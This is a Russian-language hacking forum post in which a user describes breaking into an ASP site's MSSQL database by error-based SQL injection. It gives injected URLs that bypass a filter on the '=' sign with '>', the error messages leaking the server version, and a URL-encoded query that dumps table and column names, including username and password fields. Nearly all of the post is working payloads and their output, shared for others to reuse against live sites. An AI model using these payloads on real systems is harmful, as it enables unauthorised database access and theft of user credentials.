Показать сообщение отдельно

  #1  
Старый 15.01.2012, 20:14
durito
Познающий
Регистрация: 06.06.2008
Сообщений: 76
С нами: 9436363

Репутация: 55
По умолчанию

сегодня ковырял один сайт и наткнулся на интересную фильтрацию в mssql

Код:
http://www.xxx.com/index.asp?id=11'+or+1=@@version--
выдает -

Microsoft OLE DB Provider for SQL Server error '80040e14'

Incorrect syntax near '@@version'.

при таком:

Код:
http://www.xxx.com/index.asp?id=11+or+1=@@version--
Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the varchar value '11 or 1@@version--' to data type int.

видим, что вырезается знак =

обходится это просто добавлением знака >

Код:
http://www.xxx.com/index.asp?id=11+or+1>@@version--
Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the varchar value '11 or 1>@@version--' to data type int.

видит что не может с конвертировать данные, добавляем кавычку чтоб вызвать ошибку

Код:
http://www.xxx.com/index.asp?id=11'+or+1>@@version--
Microsoft OLE DB Provider for SQL Server error '80040e07'

Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.2050.00 (Intel X86) Feb 13 2007 23:02:48 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2) ' to data type int.

и то что доктор прописал

Но тут возникает проблема со стандартным вытягиванием имен таблиц и полей, так как знак = фильтруется

подумав немного а составил следующий запрос для дампера:

Код:
http://www.xxx.com/index.asp?id=11'+or+1%3E%28select+top+1+cast%28table_name+as+nvarchar%29%2B%27:%27%2Bcast%28column_name+as+nvarchar%29+from+information_schema.columns+where+cast%28table_name+as+nvarchar%29%2B%27:%27%2Bcast%28column_name+as+nvarchar%29+not+in+%28select+top+5+cast%28table_name+as+nvarchar%29%2B%27:%27%2Bcast%28column_name+as+nvarchar%29+from+information_schema.columns%29%29--
который объединил вывод таблиц и полей:

livesupportfirm:ID

livesupportfirm:idfirma

livesupportfirm:name

livesupportfirm:username

livesupportfirmassword

livesupportfirm:status

livesupportfirm:email

livesupport:ID

З.Ы. америку тут я не открыл, но может кому инфа пригодится

durito
 
Ответить с цитированием